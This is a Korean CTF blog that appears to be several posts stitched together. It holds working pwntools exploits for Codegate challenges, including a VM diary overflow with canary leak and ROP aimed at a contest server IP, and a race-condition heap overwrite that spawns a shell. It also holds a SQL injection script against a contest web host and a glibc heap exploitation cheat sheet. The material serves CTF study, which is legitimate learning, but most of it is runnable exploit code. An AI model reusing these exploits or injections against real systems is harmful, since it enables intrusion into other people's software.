ida 플러그인까지 준비해가서 펌웨어를 깠는데

이게 왠걸 아무리 봐도 상식적으로 취약점이 없었다..


삽질과 고뇌와 인내의 시간을 거치고


취약점 이거임..gamebox 에뮬레이터에 잇엇음..

class Stdin:
def read(self, size):
res = ''
buf = sys.stdin.readline(size)
for ch in buf:
if ord(ch) > 0b1111111:
break
if ch == '\n':
res += ch
break
res += ch
return res

def write(self, data):
return None



0b1111111보다 큰 입력값일 경우 바로 break하는데

이러면 read syscall 의 반환값이 0이됨


secretkey는 content 리턴값의 -1만큼 입력받음

content리턴값이 0이면? ... 오버플로우남..


이걸 어떻게 쓰냐면 


def write_memory(self, addr, data, length):
if not length:
return

if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
for offset in range(length):
self.memory[addr + offset] = data[offset] & 0b1111111
else:
self.terminate("[VM] Can't write memory")



이건데 


권한체크를 처음과 끝(data+length)주소만 함


length를 길게줘서 data+length가 권한이 있는 곳이면 쓰기가 가능한것..

content를 엄청 길게줘서 오버플로우 시키면 된다..

마침 0xf1000영역이 뒤에 할당된다.


스킨 건드리다가 코드 하이라이트 날라감.

나중에 해야겟다


#map 0xc4000 0x1c000 0x3a000 0xdd000 0x9b000 0xbb000 0xbf000 0xf1000 0x7c000
#0x59000 -> len( diary) 0x59000+ind*3-> mmap addr

from pwn import *
from hashlib import sha1
import string
import random


r=process(['python','vm_d.py'])
r=process(['python','vm_diary.py'])
x=random.randrange(0, 2**21-1)
def p21(a):
return chr(a & 0b1111111) + chr((a & 0b111111100000000000000) >> 14) + chr((a & 0b11111110000000) >> 7)

def chch():
r.recvuntil('prefix : ')
p=r.recvuntil('\n')[:-1]
print p
s=string.letters+string.digits
t=0
for i in s:
for j in s:
for l in s:
for k in s:
for m in s:
ans=p+i+j+l+k+m
if sha1(ans).hexdigest().endswith('000000'):
print ans
r.sendline(ans)
t=1
break
if t==1:
break
if t==1:
break
if t==1:
break
if t==1:
break

#r=process(['python','vm_diary.py'])
def rr(ind):
r.sendafter('>',str(ind).ljust(3,'\x00'))
def list():
rr(1)
def write(title,content,sec):
rr(2)
r.sendafter('title>',title)
r.recvuntil('content, secret key (same length)')
r.send(content)
r.send(sec)

def show(ind):
rr(3)
r.sendafter('index',str(ind)+'\n')

def edit(ind,title,cont):
rr(4)
r.sendafter('index', str(ind)+'\n')
r.sendafter('title',title)
r.sendafter('content',cont)

print len(sys.argv)
if len(sys.argv)>1:
r = remote('58.229.253.146', 8888)
chch()
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')


rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
r.send('C' * (0x1eb13+10-9) +p21(0x3)+p21(0xf5fb6)+'\x80'+'\n')
print hex(0x3a4ec+0x1eb13+10)
list()
r.recvuntil('----------------------------------------------------')
r.recvuntil('1)')
canary=r.recv(3)


print 'canary:',canary
#raw_input()
#r.interactive()

for i in range(4):
write('flag\x00\n', 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
p2p1r=0x6ae
p1p0r=0x67e

'''
LOAD:064E syscall
LOAD:0650 pop $r6
LOAD:0652 cmp $r6, $r9
LOAD:0654 jne loc_59D
LOAD:0659 pop $r3
LOAD:065B pop $r2
LOAD:065D pop $r1
LOAD:065F pop $pc
'''
rop=p21(0xdead)+p21(0x67e)+p21(0xdd000)+p21(1)+p21(0x64e)+canary+p21(0xdead)+p21(0x9b000)+p21(0xdead)#+p21(0xdead)+p21(0xc)
rop2=p21(p1p0r)+p21(2)+p21(3)+p21(0x64e)+canary+p21(0x100)+p21(0x9b000)+p21(0xdead)
rop+=rop2
rop+=p21(p1p0r)+p21(1)+p21(2)+p21(0x64e)
r.send('C' * (0x4b13 - 0x4a-50-2740-1+4+2800-30+18-9+3+2+3-18*3+1)+'E'*(17*3-1+3)+ 'D' +canary+p21(0xdead)*2+rop+'\x80\n')
#print hex(0x4b13 - 0x4a-50-2740-1+4+0xf14ec+2800)
print 'canary:',canary
raw_input()
r.interactive()


'CTF' 카테고리의 다른 글

[codegate2018 final]place the blanket  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

import requests #bbs(title,writer,contents) url='http://110.10.147.36/write_ok.php' sid='35p14j8h1all6avl46rcopfm34' for i in range(1): print str(i) title='ss'+str(i) query="qwer'),('gogo','say222',(select group_concat(info) from information_schema.processlist))#" query2="qwer'),('gg4','say222',(select group_concat(benchmark(99999999,@query:=concat(@query,(select group_concat(info) from information_schema.processlist))),@query)))#" query2 = "qwer'),('gg5','say222',(select group_concat(@q3:=0x3333,benchmark(99,@q3:=concat(@q3,(select group_concat(info) from information_schema.processlist where info like '%create%'))),@q3)))#" #query2 = "qwer'),('gg4','say222',(select @q3:=0x3232))#" #query2 = "qwer'),('gg','say222',(select @q3))#" #query="qwer'),('gg','say222',(select group_concat(current_statement) from sys.processlist))#" res = requests.post(url, data={'title': title, 'contents': query2}, cookies={'PHPSESSID': sid}) #for i in range(1): # d=requests.get('http://110.10.147.36/?p=secret&C=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&T=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&F=cccccccccccccccccccccccccccccccc',cookies={'PHPSESSID':sid}) #res=requests.post(url,data={'title':title,'contents':query},cookies={'PHPSESSID':sid}) print res.text


대회때 못풀었다. 사실 웹문제는 우리팀은 버릴 예정이었다. 시간이 ㅁㅏㄴㅎ이남지 않는이상..

팀에 웹해커가 없다는게 구멍이 너무 컸다... 할말이 많으니 후기 글을 따로 써봐야겠다.. 


diary content에 sql injection이 있었고

benchmark로 루프를 돌리면서 secret에 있는 select문을 돌려주면 processlist에서 쿼리문을 스니핑 할 수 있다.


참고


rubiya님의 발표자료


http://secuinside.com/archive/2017/2017-1-2.pdf


http://chaneyoon.tistory.com/333




'CTF' 카테고리의 다른 글

[codegate 2018 final] 7amebox3  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

http://wargame.say2.kr


강의용으로 만든 practice 문제들은 곧 조정..


시간날 때 문제 조금씩 추가 해야겟다!


-----


오랜만에 머신러닝문제를 준비해서 추가하다가 실수해서 db를 날렷다.... 이런 멍청한 실수를 내가하다니..ㅠㅠ 


제일 최근에 디비 백업한게 11월..

스냅샷찍어논것도 없고해서.. 일단 진짜 지푸라기를 잡는 심정으로 아마존에 문의를 남겼다.

살리면 좋겟지만.. 못살리면.. ㅠㅠ

문제야 다시 올리면 되지만 계정정보나 문제인증정보가 날라갓으니..죄송합니다..

오랜만에 들어 가보니 가입자가 꽤 늘어나 있었는데 화가나 죽겟다 엉엉


기존회원들에겐 정말 죄송하지만 디비못살리면.. 

아예 디자인도 손볼 부분도 있었고 해서 새로 리모델링하고 문제도 많이 추가해서

새로 오픈할까도 생각중이다...



from pwn import *

r=process('./bank')

def rr():
    r.recvuntil('-->')

def buy():
    rr()
    r.sendline('5')
    rr()
    r.sendline('1')

def deposit(money):
    rr()
    r.sendline('3')
    rr()
    r.sendline('1') #white
    rr()
    r.sendline(str(money))
def withdraw(wb,money):
    rr()
    r.sendline('4')
    rr()
    r.sendline(str(wb))#white
    rr()
    r.sendline(str(money))
def transfer(money):
    rr()
    r.sendline('2')
    rr()
    r.sendline('1') #w->b
    rr()
    r.sendline(str(money))
def changename(ind,name):
    rr()
    r.sendline('6')
    rr()
    r.sendline(str(ind))
    rr()
    r.sendline(name)

deposit(800)
for _ in xrange(3):
    transfer(0)
for i in range(3):
    withdraw(1,800)

time.sleep(3)
for i in range(16):
    buy()
time.sleep(2)
buy()
strtoull=0x000000000602FA0
changename(16,p64(strtoull)+p64(0xDE0B6B3A763FFFF+2))
withdraw(1,1000000000000000000)
rr()
r.sendline('1')
r.recvuntil('Account Number : ')
leak=u64(r.recv(6).ljust(8,'\x00'))
libc_base=leak-0x3b3f0
r.success(hex(leak))
r.success(hex(libc_base))

buy()
changename(17,p64(libc_base+0x3c67a8))

rr()
r.sendline('5')
rr()
r.sendline('\xff')
rr()
r.sendline('22')
rr()
r.sendline(p64(libc_base+0xf1117))
rr()
r.sendline('7')
r.interactive()

aa



int __fastcall withdraw_white_40121D(void *a1)

{

  sigset_t set; // [rsp+20h] [rbp-120h]@1

  __int64 (__fastcall *v3)(); // [rsp+A0h] [rbp-A0h]@1


  sigemptyset(&set);

  sigaddset(&set, 10);

  v3 = sub_400CC6;

  sigaction(10, (const struct sigaction *)&v3, 0LL);

  pthread_rwlock_rdlock(&rwlock);

  if ( white_accountnum_bal_603220->balance_8 >= (unsigned __int64)a1 && white_accountnum_bal_603220->status10 != 1LL )

  {

    usleep(0x7A120u);

    pthread_rwlock_wrlock(&stru_6030C0);

    white_accountnum_bal_603220->balance_8 -= a1;

    cash_603020 += (__int64)a1;

    pthread_rwlock_unlock(&stru_6030C0);

  }

  return pthread_rwlock_unlock(&rwlock);

}

빨간부분이 wrlock이어야 하는데 rdlock으로 걸려있음

rdlock은 기존에 rdlock이 걸려잇어도 접근이 가능

조건문을 race condition으로 통과가능


먼저 writelock(락이 걸려있기만 하면 일단 접근이 불가능하며 블록됨)을 걸어놓고

대기상태로 만든다음

withdraw메뉴를 마구 돌려주면 이 메뉴들이  대기에 들어가서 write lock이 풀릴때 racecondition이 걸리면서 계좌에 돈이 없어도 cash로 변환이가능 그리고 계좌에 돈이 -가 될경우 signed기 때문에 돈이 마구마구 생겨버린다.

이를 이용해서 아이템을 많이 사면 bss에 white black account 부분을 덮을 수 가 있는데 이를 이용해서 릭을하고 오버라이트가 가능하다




angr써보려햇으나 결과값이 잘 안맞아서 그냥 디버깅

잘 돌리면 될거같은데 지금생각해보니 null byte때문에 삑난거 같은데 angr아웃풋 말고 /tmp/.starcraft파일을 봤으면

angr로 풀렸겠다 ㄷ_ㄷ


.starcraft는 ltrace해보면 바로 보인다


fread함수 bp 다걸어놓고 한줄씩 결과 프린트 비교하면서 찾아갔다.


from pwn import *
import struct
import time

#doesn't work just reversing with ida scripting
def angr_find():
    import angr

    p=angr.Project('./prophecy',load_options={"auto_load_libs":False})
    pg=p.factory.path_group(threads=4)
    pg.explore(find=0x40307b)#40330A)#40390A)
    print pg.found[0].state.posix.dumps(1).encode('hex')


#context(arch='i386', os='linux', log_level='debug')
def testgo():

    r=process('./prophecy')

    r.sendline('.starcraft')
    r.recvuntil('[*]Give me the key to unlock the prophecy')
    #raw_input()
    pay=p32(0x17202508)
    pay+='AA\x00AAAAA'
    pay+='\x5a'
    pay+='\x03'
    pay+='\x93\xea\xe4'
    #input
    pay+='\x00'
    pay+='\x5a\x45\x52\x41\x54\x55\x4c'
    pay+='\x00\x53\x41\x56\x45\x44'#0x444556415300
    pay+=p32(0x4C4C4100)

    raw_input()

    r.sendline(pay)
    raw_input()
#angr_find()
testgo()
#angr_find()



내가 보려고 만든 ctf의 ctf를 위한 ctf에 의한 힙 익스 아이디어

=====================



일단 ctf에 자주나오는 하우스 시리즈 힙 유형을 살펴본다

기법들에 대해 자세히 설명하지는 않는다. 전체적으로 훑어 보기로 한다.

제일 잘나오는건 세 가지다




#### 1.fastbin dup attack


 정말 제일 만만하고 제일 많이 쓰인다. 0x80까지의 동적메모리의 해제가 자유롭고

 arbitrary overwrite이든 overflow든 해제한 메모리의 next bin ptr영역에 overwrite가 가능하다면 이 기법을 사용할 수 있다. 

fastbin dup으로 overwrite를 할때는 bin의 사이즈 단위가 중요한데(같은 단위가 아니면 abort 0x10단위로 존재) 


특히 0x70단위의 경우 0x0000007f가 써져있는 메모리 영역에 접근이 가능한데 64비트의 경우 0x7f는 libc주소의 앞자리임으로 요긴하게 사용할 수 있다.(0x7f는 malloc_hook 앞에도 늘 존재하기 떄문에 malloc_hook을 덮을 때 꿀을 빨자)



#### 2.1byte overflow로 발생하는 poison null byte


0x18 0x28이런식으로 8로 끝나는 주소로 할당(32bit의 경우 4)하는 경우 청크가 딱 붙게 된다. 

그래서 1byte라도 오버플로우나는 경우 또는 입력의 마지막을 null 처리 해주는데 그게 다른 청크로 침범이 가능할 경우에는 바로 이 기법이다.(후자는 거이 이 기법을 유도했다고 볼 수 있다)


마지막이 null이 된다는 건 chunk/bin의 flag를 건들일 수 있다는 것이다. flag의 마지막 비트는 prev_inuse비트로 바로 뒤의 청크가 할당된 상태인지 해제된 상태인지를 나타낸다. 이 비트가 원래 1이었는데 0이 된다는 것은 뒤의 청크가 할당이 되어있지만 해제 되어있는 것처럼 여긴다는 것이다. 

prev_inuse가 0인 chunk을 free 할때는 이전 청크가 free된 청크라고 생각해서 consolidate 즉 병합하려고 한다. 이전 청크를 찾아갈때는 pre_size를 이용해서 찾아가는데 size를 덮을 수 있는 overwrite이면 당연히 prev_size 도 overwrite가 가능하다. 이를 이용해서 fake청크와 병합되게 한후 malloc하면 fake chunk로 할당이 된당(fake chunk의 size는 small bin 크기여야하고 fake chunk의 fd bk는 fakechunk의 주소를 넣으면 unlink assertion 을 우회할수 있다) 





#### 3.unsorted bin attack 


libc메모리릭할때 요긴하게 쓰인다

small/large bin 을 free하고 전후로 해제했던 다른 bin 이 없으면 fd/bk가 main_arena랑 연결이 됨. 해제한 메모리에 접근이 가능할때 libc릭으로 요긴하게 쓰인다.

그리고 임의의 주소를 free할 수 있을 때 특정주소에 main_arena의 주소를 쓸 수 있다. 이거는 자주 쓰이진 않지만 언제 쓰일지 모름으로 염두에 항상 두자






이 세가지가 가장 많이 나오고 자주나오진 않지만 핵심이 될 수 있는 기법은

top_chunk를 덮어버리는 기법들이다 


#### 1.house of force

 

top chunk를 덮어서 엄청 크게 만든다음 다른 메모리 영역을 건드린다.


#### 2.house of orange


top_chunk free를 이용한 최초의 문제가 hitcon2016의 house of orange 문제였기 때문에 house of orange 기법이라 칭하겠다


분명히 heap 문제인 것 같은데 free하는 부분이 없다거나 약간 모자른데 오버플로우가 난다?하면 이거다. 게다가 size가 덮어진다?하면 100프로 이거다.

처음에 할당했던 heap영역이 다 차게 되면 top_chunk를 free해버리고 mmap을 다시함. 아무튼 중요한건 top_chunk가 ㄹfree된다는것. top_chunk의 사이즈를 조절해서 fastbin attack으로 쓸 수도 있고 unsorted bin attack으로 릭이나 overwrite로 쓸 수도 있다, 이때 top_chunk가 무너지면서 abort를 출력할때 IO_FILE을 사용하는걸 이용해서 취약점 트리거에 이용하거나 int_free를 공격벡터로 사용하기도 한다.


#### 3.마지막으로 main_arena를 전체적으로 건드릴수 있을 때 top chunk와 unsorted bin 포인터를 덮어버릴 수도 있다.





만약에??


1. unlink 함수를 직접 구현해 놨다? -> 백퍼센트 unlink 취약점이다. unlink는 최신 glibc에 막혀있다.

막혀있기 전에는 unlink 할떄 bk->fd->bk=obj 또는 fd->bk->fd=obj를 확인하지 않았다.

그래서 obj의 fd bk overwrite만 가능하면 unlink취약점을 어렵지 않게 트리거 할 수 있다.


2. 당장 생각이 안나니 추후 추가




**이래도 취약점이 안보이면?**


_만약에 heap바이너리가 너무 크다 하면 왠만하면 uaf가 숨어있다. 잘 찾자! c++의 경우 vtable을 유념해서 봐보도록하자_

또는 how2heap의 다른 기법을 뒤져보자

+ Recent posts